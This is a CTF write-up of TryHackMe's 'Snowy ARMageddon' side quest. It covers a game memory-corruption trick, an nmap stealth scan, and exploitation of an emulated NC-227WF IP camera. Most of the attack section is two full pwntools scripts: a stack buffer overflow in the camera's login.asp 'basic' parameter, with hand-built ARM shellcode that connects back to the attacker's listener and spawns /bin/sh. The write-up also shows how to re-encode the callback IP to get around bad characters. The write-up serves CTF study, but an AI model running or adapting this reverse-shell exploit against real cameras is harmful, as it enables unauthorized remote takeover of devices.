Snowy ARMageddon

Assist the Yeti in breaching the cyber police perimeter! - by andrea526

All banner and comic images are courtesy of TryHackMe - https://www.tryhackme.com

Getting to SQ2 - The QR Code

The QR Code to Side Quest 2 can be found in the Challenge Task 12 [Day 6] Memory corruption Memories of Christmas Past

There it states about a glitch that is hiding somewhere:

Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?

Get 16 Coins from the PC, and let's start.

With the 16 Coins, we create a name to overwrite our wallet memory to reach the inventory in the next naming attempt.

aaaabbbbccccdddd

The first attempt was to get all the items that are available in the store, and those which are not listed. If we look in the store, the items all have an ID, which suggests that the IDs are numbered from 1 to 16 in hex (but as an ASCII value).

So we not only overwrite the coins to a very high value but also write all possible IDs into our inventory. The Glitch did not appear, even after adding an ASCII 0 to the inventory.

Ok, the next attempt is to buy the stuff, that is not listed in the shop. Maybe the item IDs in the shop do not exactly correlate to the actual item IDs. 0 is not there, f is out of stock. If we now try to buy the item with ID a from the shopkeeper, we receive the message that our money is not enough. So we go back to the drawing board and add more coins to our wallet.

Ok, let's get more coins, we just write zzzz to the coin buffer.

If we buy now the aitem, our coin value goes to zero and the glitch appears

He has the following to say:

First, we have to restart the game, since we are out of coins and the computer is broken and won't give us anymore.

It reads as if we not only have to overwrite our inventory, but also have exactly, 31337 coins in our inventory, rename all characters and enter something somewhere or somehow.

Steps to take

  1. Restart game

  2. Get 16 coins

  3. Rename your character aaaabbbbddddd

  4. Rename the characters in order to get the NULL character

    1. Ted aaaabbbbccccddddffffgggghhhhTed

    2. Midas aaaabbbbcccc~~zzMidas

      1. Get enough coins to buy item a and buy new names. (rename your character aaaabbbbcccc~~zz)

  5. Buy the item with ID a in the shop

  6. Write 31345 to your wallet (have 8 coins left to rename yourself) aaaabbbbccccqz

  7. Rename yourself to Snowball (name him last for NULL character)

  8. Enter the code

Almost all conditions met. Just the code is missing.

After just researching for the 30 lives secret code, we get the cheat code used in Contra. Let's give it a try.

Upon entering the code (just hitting the keys, by moving arround; START = ENTER) the games goes nuts. After talking to the yeti, the QR code is revealed.

A more detailed explanation

First we restart the game, get 16 coins, and write enough coins to our inventory.

We rename the characters in a specific order to get the NULL characteras at the correct positions. We start with the namer_name, the easiest one. Next, we chose to name the shopkeeper, but also have to write the exact value of coins we need. If we write Midas, and in a next attempt the coins, the M of Midas gets a NULL character. So we have to do it in one go.

We buy the a item.

Now the explanation for the exact amount of coins:

We have to have more coins in the wallet than we can get with zzzz, but just enough so that the last two fields have a hex value of zero. Since we have to reach 31337 coins (which is 7469 in hex or zi as ASCII value) represented in only 2 characters. We cannot enter a zero byte, we have to choose our value carefully. We take ~~zz. So if we buy the Item with the ID a in the shop, we still have about 1028 coins left to overwrite the buffer.

Getting the coins and buy the item a:

With the 1028 coins left, or in other words the characters '' we can now place an amount that would be zi. But then if we rename our character, 8 coins would be missing. So we need 8 more coins, having us to write, 31345 to the wallet. Which is in hex 7a71. Resulting to zq in ASCII. Since the values are interpreted in little-endian we have to provide the values in reverse order.

Breaching the CyberPolice perimeter

OK, let's start with side quest number 2 and see what we have in front of us.

Recon

https://nmap.org/book/synscan.html

We start off with a Nmap scan. We do a stealth scan, recalling the Yeti Hints: Alright, my frosty friend, it's time to gear up for a simulated red team engagement.

Think like the Yeti – be stealthy, keep it low-profile. […] Remember, this is all about bein' as silent as the falling snow and as cunning as the arctic fox.

We are able to detect four open ports.

Next, we start a version and default script scan on the found ports.

On port 22, running OpenSSH version 8.2p1 and operating on Ubuntu Linux with protocol 2.0.

Additionally, port 23 is open, yet the service running on this port remains unidentified, presenting itself as "tcpwrapped." On port 8080, an Apache HTTP server, specifically version 2.4.57. Attempts to access this server result in a 403 Forbidden error, with the HTTP title "TryHackMe | Access Forbidden - 403." Furthermore, port 50628 is open, and although the specific service is unidentified, the server's response to requests includes 302 redirects, suggesting possible HTTP-like behavior.

┌──(0xb0b㉿kali)-[~]
└─$ sudo nmap -sS -sV -sC -p 22,23,8080,50628 10.10.140.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-17 10:22 EST
Nmap scan report for localhost (10.10.140.37)
Host is up (0.038s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e5:e0:fb:2d:cd:19:ec:2f:94:09:84:b0:d5:a3:7c:c8 (RSA)
|   256 89:4b:b1:60:0d:2d:e4:f2:2d:35:c4:ba:f4:0a:81:52 (ECDSA)
|_  256 24:bd:f3:ca:8e:5b:d6:7e:d0:94:bc:03:55:a2:a0:23 (ED25519)
23/tcp    open  tcpwrapped
8080/tcp  open  http       Apache httpd 2.4.57 ((Debian))
|_http-title: TryHackMe | Access Forbidden - 403
|_http-server-header: Apache/2.4.57 (Debian)
50628/tcp open  unknown
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 302 Redirect
|     Server: Webs
|     Date: Wed Dec 31 20:09:44 1969
|     Pragma: no-cache
|     Cache-Control: no-cache
|     Content-Type: text/html
|     Location: http://NC-227WF-HD-720P:50628/default.asp
|     <html><head></head><body>
|     This document has moved to a new <a href="http://NC-227WF-HD-720P:50628/default.asp">location</a>.
|     Please update your documents to reflect the new location.
|     </body></html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Page not found
|     Server: Webs
|     Date: Wed Dec 31 20:09:44 1969
|     Pragma: no-cache
|     Cache-Control: no-cache
|     Content-Type: text/html
|     <html><head><title>Document Error: Page not found</title></head>
|     <body><h2>Access Error: Page not found</h2>
|     when trying to obtain <b>(null)</b><br><p>Bad request type</p></body></html>
|   Help, SSLSessionReq: 
|     HTTP/1.1 400 Page not found
|     Server: Webs
|     Date: Wed Dec 31 20:09:59 1969
|     Pragma: no-cache
|     Cache-Control: no-cache
|     Content-Type: text/html
|     <html><head><title>Document Error: Page not found</title></head>
|     <body><h2>Access Error: Page not found</h2>
|_    when trying to obtain <b>(null)</b><br><p>Bad request type</p></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50628-TCP:V=7.94SVN%I=7%D=12/17%Time=657F122E%P=x86_64-pc-linux-gnu
SF:%r(GetRequest,192,"HTTP/1\.0\x20302\x20Redirect\r\nServer:\x20Webs\r\nD
SF:ate:\x20Wed\x20Dec\x2031\x2020:09:44\x201969\r\nPragma:\x20no-cache\r\n
SF:Cache-Control:\x20no-cache\r\nContent-Type:\x20text/html\r\nLocation:\x
SF:20http://NC-227WF-HD-720P:50628/default\.asp\r\n\r\n<html><head></head>
SF:<body>\r\n\t\tThis\x20document\x20has\x20moved\x20to\x20a\x20new\x20<a\
SF:x20href=\"http://NC-227WF-HD-720P:50628/default\.asp\">location</a>\.\r
SF:\n\t\tPlease\x20update\x20your\x20documents\x20to\x20reflect\x20the\x20
SF:new\x20location\.\r\n\t\t</body></html>\r\n\r\n")%r(HTTPOptions,154,"HT
SF:TP/1\.1\x20400\x20Page\x20not\x20found\r\nServer:\x20Webs\r\nDate:\x20W
SF:ed\x20Dec\x2031\x2020:09:44\x201969\r\nPragma:\x20no-cache\r\nCache-Con
SF:trol:\x20no-cache\r\nContent-Type:\x20text/html\r\n\r\n<html><head><tit
SF:le>Document\x20Error:\x20Page\x20not\x20found</title></head>\r\n\t\t<bo
SF:dy><h2>Access\x20Error:\x20Page\x20not\x20found</h2>\r\n\t\twhen\x20try
SF:ing\x20to\x20obtain\x20<b>\(null\)</b><br><p>Bad\x20request\x20type</p>
SF:</body></html>\r\n\r\n")%r(RTSPRequest,154,"HTTP/1\.1\x20400\x20Page\x2
SF:0not\x20found\r\nServer:\x20Webs\r\nDate:\x20Wed\x20Dec\x2031\x2020:09:
SF:44\x201969\r\nPragma:\x20no-cache\r\nCache-Control:\x20no-cache\r\nCont
SF:ent-Type:\x20text/html\r\n\r\n<html><head><title>Document\x20Error:\x20
SF:Page\x20not\x20found</title></head>\r\n\t\t<body><h2>Access\x20Error:\x
SF:20Page\x20not\x20found</h2>\r\n\t\twhen\x20trying\x20to\x20obtain\x20<b
SF:>\(null\)</b><br><p>Bad\x20request\x20type</p></body></html>\r\n\r\n")%
SF:r(Help,154,"HTTP/1\.1\x20400\x20Page\x20not\x20found\r\nServer:\x20Webs
SF:\r\nDate:\x20Wed\x20Dec\x2031\x2020:09:59\x201969\r\nPragma:\x20no-cach
SF:e\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html\r\n\r\n<h
SF:tml><head><title>Document\x20Error:\x20Page\x20not\x20found</title></he
SF:ad>\r\n\t\t<body><h2>Access\x20Error:\x20Page\x20not\x20found</h2>\r\n\
SF:t\twhen\x20trying\x20to\x20obtain\x20<b>\(null\)</b><br><p>Bad\x20reque
SF:st\x20type</p></body></html>\r\n\r\n")%r(SSLSessionReq,154,"HTTP/1\.1\x
SF:20400\x20Page\x20not\x20found\r\nServer:\x20Webs\r\nDate:\x20Wed\x20Dec
SF:\x2031\x2020:09:59\x201969\r\nPragma:\x20no-cache\r\nCache-Control:\x20
SF:no-cache\r\nContent-Type:\x20text/html\r\n\r\n<html><head><title>Docume
SF:nt\x20Error:\x20Page\x20not\x20found</title></head>\r\n\t\t<body><h2>Ac
SF:cess\x20Error:\x20Page\x20not\x20found</h2>\r\n\t\twhen\x20trying\x20to
SF:\x20obtain\x20<b>\(null\)</b><br><p>Bad\x20request\x20type</p></body></
SF:html>\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.41 seconds

We have to do it quietly, otherwise the endpoint 50628 closes. A nmap -sT scan establishes a full TCP connection and is easily detectable.

The reconnaissance on port 8080 was the uninteded path and is not possible after a patch. This section got removed. The stuff can be done after getting the first flag. The steps taken can be followed in the last section of the writeup on how to get the yetikey.

What is the content of the first flag?

We should now have everything together to get the flags, right?

Since we initially focused on the endpoint 8080, as it was enumerable in its unpatched unintended form, we found the second flag first, but take into account the order that the room gives us through its questions and clues.

We will explain how we should actually proceed with the end point 8080 after the first flag and recommend starting with 50628.

We visit the endpoint at port 50628 and are greeted with a small interface for a surveillance camera, the NC-227WF HD 720P. Interesting. The old thing Yeti was talking about.

This clunky old device is a buzzin', ripe for the pickin'. If we can get our claws into this enigmatic device, we'll have ourselves a sly backdoor right into the CyberPolice's icy fortress

If we click on Enter, we immediately receive a login prompt. A basic authorization query. We enter any credentials for the user admin, cancel, and see that the user admin was at least correct once. The first idea was to brute force the login, but that would be too easy and did not succeed. As we will see why later.

While searching for possible exploits and how to get such a camera into a VM, we come across the following two articles:

Then after a long search, We came across this article.

This is a writeup of "a brand new IP camera CTF challenge". Here, the author describes how he used the said login with a buffer overflow to execute his shellcode to build a reverse shell. Wow. It's almost done for us, so why not try it out instead of building an EMUX setup and looking for exploits. That can be always done afterwards if this attempt fails. It looks like the author also left a ready script with shellcode. Theoretically, we only have to adjust the IPs and edit the shellcode so that it contains the IP of our machine and not the IP of the machine of the author 192.168.100.1.

Here is the author's script:

HomeSenExploit.py
from pwn import *
   
HOST = '192.168.100.2'
PORT = 50628
LHOST = [192,168,100,1]
LPORT = 4444
 
BADCHARS = b'\x00\x09\x0a\x0d\x20\x23\x26'
BAD = False
LIBC_OFFSET = 0x40021000
LIBGCC_OFFSET = 0x4000e000
RETURN = LIBGCC_OFFSET + 0x2f88    # libgcc_s.so.1: bx sp   0x40010f88
SLEEP = LIBC_OFFSET + 0xdc54    # sleep@libc 0x4002ec54
 
pc = cyclic_find(0x63616176)  # 284
r4 = cyclic_find(0x6361616f)  # 256
r5 = cyclic_find(0x63616170)  # 260
r6 = cyclic_find(0x63616171)  # 264
r7 = cyclic_find(0x63616172)  # 268
r8 = cyclic_find(0x63616173)  # 272
r9 = cyclic_find(0x63616174)  # 276
r10 = cyclic_find(0x63616175) # 280
sp = cyclic_find(0x63616177)  # 288
 
SC  = b'\x10\xd0\x4d\xe2'     # sub sp, 16
SC += b'\x68\x10\xa0\xe3\x01\x14\xa0\xe1\x73\x10\x81\xe2\x01\x14\xa0\xe1\x2f\x10\x81\xe2\x04\x10\x2d\xe5\x6e\x10\xa0\xe3\x01\x14\xa0\xe1\x69\x10\x81\xe2\x01\x14\xa0\xe1\x62\x10\x81\xe2\x01\x14\xa0\xe1\x2f\x10\x81\xe2\x04\x10\x2d\xe5'      # /bin/sh
SC += b'\x59\x1f\xa0\xe3\x01\x14\xa0\xe1\xa8\x10\x81\xe2\x01\x14\xa0\xe1\xc0\x10\x81\xe2\x04\x10\x2d\xe5'   # 192.168.100.1
SC += b'\x5c\x10\xa0\xe3\x01\x14\xa0\xe1\x11\x10\x81\xe2\x01\x18\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5'   # 4444; AF_INET, SOCK_STREAM
SC += b'\xef\x30\xa0\xe3\x03\x3c\xa0\xe1\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x0c\x10\x81\xe2\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe9\x10\xa0\xe3\x01\x14\xa0\xe1\x2d\x10\x81\xe2\x01\x18\xa0\xe1\x05\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x22\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x8f\x10\x81\xe2\x01\x18\xa0\xe1\x18\x10\x81\xe2\x04\x10\x2d\xe5'   # execve()
SC += b'\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dup2(STDERR)
SC += b'\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dub2(STDOUT)
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x0e\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x31\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x21\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dup2(STDIN)
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x1c\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\xff\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x8f\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x50\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\xb0\x10\x81\xe2\x01\x14\xa0\xe1\x04\x10\x2d\xe5'   # connect()
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x1a\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\xff\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x22\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x81\x10\x81\xe2\x01\x18\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5'   # socket()
#SC += b'\x01\x0c\xa0\xe3'   # mov r0, #256  ; sleep for 256s to avoid cache coherency issues
#SC += b'\x3a\xff\x2f\xe1'   # blx r10       ; r10 contains address of sleep@libc
SC += b'\x1d\xff\x2f\xe1'   # bx sp
 
info('Shellcode length: %d' % len(SC))
for i in range(len(SC)):
  if SC[i] in BADCHARS:
    print('BAD CHARACTER in position: %d!')
    BAD = True
if BAD:
  exit(1)
 
buffer  = b'A' * r10
buffer += p32(SLEEP)    # overwrite r10 with address of sleep()
buffer += p32(RETURN)   # bx sp
buffer += SC
 
s = remote('192.168.100.2', 50628)
s.send(b'GET /en/login.asp?basic=' + buffer + b' HTTP/1.0\r\n\r\n')
 
nc = listen(LPORT)
nc.wait_for_connection()
nc.interactive()
s.close()
nc.close(

In the shellcode we have to adjust the line SC += b'\x59\x1f\xa0\xe3\x01\x14\xa0\xe1\xa8\x10\x81\xe2\x01\x14\xa0\xe1\xc0\x10\x81\xe2\x04\x10\x2d\xe5' # 192.168.100.1.

We use shell-storm.org to decompile them and see what the code looks like in assembler.

We paste that line in, click disassemble and it gets directly converted:

SC += b'\\x59\\x1f\\xa0\\xe3\\x01\\x14\\xa0\\xe1\\xa8\\x10\\x81\\xe2\\x01\\x14\\xa0\\xe1\\xc0\\x10\\x81\\xe2\\x04\\x10\\x2d\\xe5' # 192.168.100.1

We see that 0x164 is written to the register, then there is a logical shift left by 8 bits. Then 0x8a is added to the register, which corresponds to 168 decimal. Then there is another logical shift left and 0xc0 is added to the register, corresponding to 192 decimal. So the IP address is written to register r1, ok. The 0x164 looks strange at first. But let's take a closer look.

0x164 is a number exceeding 8 bits. If we split it in 8 bit registers, we get the number 1 and 100. Nice, those are the last two parts of the IP address of the author. This was probably done to avoid bad characters.

Let's take a quick turn to anticipate something we're about to come across.

In the context of computer security and exploitation, "bad characters" in shellcode refer to specific bytes or characters that may cause issues when included in the payload. These issues can arise due to the way the target system or application processes the input. Common examples of bad characters include:

  1. Null byte (0x00): Null bytes can terminate strings in C and other languages. If the target application treats null bytes as string terminators, they can truncate the payload.

  2. Newline (0x0A) and Carriage Return (0x0D): These characters might interfere with the interpretation of shellcode by certain programs or the operating system.

  3. Whitespace characters: Tabs, spaces, and other whitespace characters can cause problems, especially in situations where input is parsed or tokenized.

  4. Special characters: Some special characters may have special meanings in certain contexts and can disrupt the interpretation of the payload.

  5. Network-related characters: If the payload is intended to be transmitted over a network, certain characters may interfere with the communication or be misinterpreted by network protocol

Ok, so let's generate our own shellcode for our IP. For this, we take the assembler code from before and adapt it a little and write our IP directly into it. Our IP is 10.8.211.1:

We insert the generated little endian assembly, adjust the IPs and execute the script. Great, we get the warning BAD CHARACTER. Thankfully, the author thought to include a check. Unfortunately, the check did not work too well, the position was not specified.

This has just been adjusted, and we also get the previous sequence of shellcode to see it with the naked eye.

And as already mentioned, we can certainly guess what caused this. Our own IP. We wrote in the 10 directly without thinking anything of it. The 10 is 0x0a in hex, a newline. We should have seen that even without the review.

We adapt the assembly and do not write 10 directly, but simply add 8 to 2 and get our 10.

Here is the assembly to copy and modify:

mov r1, #1
lsl r1, r1, #8
add r1, r1, #0xd3
lsl r1, r1, #8
add r1, r1, #8
lsl r1, r1, #8
add r1, r1, #8
add r1, r1, #2
str r1, [sp, #-4]!

The generated shellcode for the IP 10.8.211.1 results in:

\x01\x10\xa0\xe3\x01\x14\xa0\xe1\xd3\x10\x81\xe2\x01\x14\xa0\xe1\x08\x10\x81\xe2\x01\x14\xa0\xe1\x08\x10\x81\xe2\x02\x10\x81\xe2\x04\x10\x2d\xe5

After we have generated the shellcode, we replace it in line 25 and insert our desired LHOST and LPORT and enter the IP of our target in line 52.

exp.py
from pwn import *

LHOST = [10,8,211,1]
LPORT = 4444
 
BADCHARS = b'\x00\x09\x0a\x0d\x20\x23\x26'
BAD = False
LIBC_OFFSET = 0x40021000
LIBGCC_OFFSET = 0x4000e000
RETURN = LIBGCC_OFFSET + 0x2f88    # libgcc_s.so.1: bx sp   0x40010f88
SLEEP = LIBC_OFFSET + 0xdc54    # sleep@libc 0x4002ec54
 
pc = cyclic_find(0x63616176)  # 284
r4 = cyclic_find(0x6361616f)  # 256
r5 = cyclic_find(0x63616170)  # 260
r6 = cyclic_find(0x63616171)  # 264
r7 = cyclic_find(0x63616172)  # 268
r8 = cyclic_find(0x63616173)  # 272
r9 = cyclic_find(0x63616174)  # 276
r10 = cyclic_find(0x63616175) # 280
sp = cyclic_find(0x63616177)  # 288
 
SC  = b'\x10\xd0\x4d\xe2'     # sub sp, 16
SC += b'\x68\x10\xa0\xe3\x01\x14\xa0\xe1\x73\x10\x81\xe2\x01\x14\xa0\xe1\x2f\x10\x81\xe2\x04\x10\x2d\xe5\x6e\x10\xa0\xe3\x01\x14\xa0\xe1\x69\x10\x81\xe2\x01\x14\xa0\xe1\x62\x10\x81\xe2\x01\x14\xa0\xe1\x2f\x10\x81\xe2\x04\x10\x2d\xe5'      # /bin/sh
SC += b'\x01\x10\xa0\xe3\x01\x14\xa0\xe1\xd3\x10\x81\xe2\x01\x14\xa0\xe1\x08\x10\x81\xe2\x01\x14\xa0\xe1\x08\x10\x81\xe2\x02\x10\x81\xe2\x04\x10\x2d\xe5'   # 10.8.211.1
SC += b'\x5c\x10\xa0\xe3\x01\x14\xa0\xe1\x11\x10\x81\xe2\x01\x18\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5'   # 4444; AF_INET, SOCK_STREAM
SC += b'\xef\x30\xa0\xe3\x03\x3c\xa0\xe1\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x0c\x10\x81\xe2\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe9\x10\xa0\xe3\x01\x14\xa0\xe1\x2d\x10\x81\xe2\x01\x18\xa0\xe1\x05\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x22\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x8f\x10\x81\xe2\x01\x18\xa0\xe1\x18\x10\x81\xe2\x04\x10\x2d\xe5'   # execve()
SC += b'\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dup2(STDERR)
SC += b'\x04\x30\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dub2(STDOUT)
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x0e\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x31\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x21\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x18\xa0\xe1\x0b\x10\x81\xe2\x04\x10\x2d\xe5'   # dup2(STDIN)
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x1c\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\xff\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x8f\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x50\x10\x81\xe2\x04\x10\x2d\xe5\xe1\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\xb0\x10\x81\xe2\x01\x14\xa0\xe1\x04\x10\x2d\xe5'   # connect()
SC += b'\x04\x30\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x87\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\x1a\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x70\x10\x81\xe2\x01\x14\xa0\xe1\xff\x10\x81\xe2\x04\x10\x2d\xe5\xe0\x10\xa0\xe3\x01\x14\xa0\xe1\x22\x10\x81\xe2\x01\x14\xa0\xe1\x1f\x10\x81\xe2\x01\x10\x81\xe2\x01\x14\xa0\xe1\x02\x10\x81\xe2\x04\x10\x2d\xe5\xe2\x10\xa0\xe3\x01\x14\xa0\xe1\x81\x10\x81\xe2\x01\x18\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5\xe3\x10\xa0\xe3\x01\x14\xa0\xe1\xa0\x10\x81\xe2\x01\x14\xa0\xe1\x10\x10\x81\xe2\x01\x14\xa0\xe1\x01\x10\x81\xe2\x04\x10\x2d\xe5'   # socket()
#SC += b'\x01\x0c\xa0\xe3'   # mov r0, #256  ; sleep for 256s to avoid cache coherency issues
#SC += b'\x3a\xff\x2f\xe1'   # blx r10       ; r10 contains address of sleep@libc
SC += b'\x1d\xff\x2f\xe1'   # bx sp
 
info('Shellcode length: %d' % len(SC))
for i in range(len(SC)):
  if SC[i] in BADCHARS:
    print('BAD CHARACTER in position: %d!' %i)
    print('BAD CHARACTER: %x' %SC[i])
    print('Sequence: %x %x %x %x %x' % (SC[i-4], SC[i-3], SC[i-2], SC[i-1], SC[i]))
    BAD = True
if BAD:
  exit(1)
 
buffer  = b'A' * r10
buffer += p32(SLEEP)    # overwrite r10 with address of sleep()
buffer += p32(RETURN)   # bx sp
buffer += SC
 
s = remote('10.10.140.37', 50628)
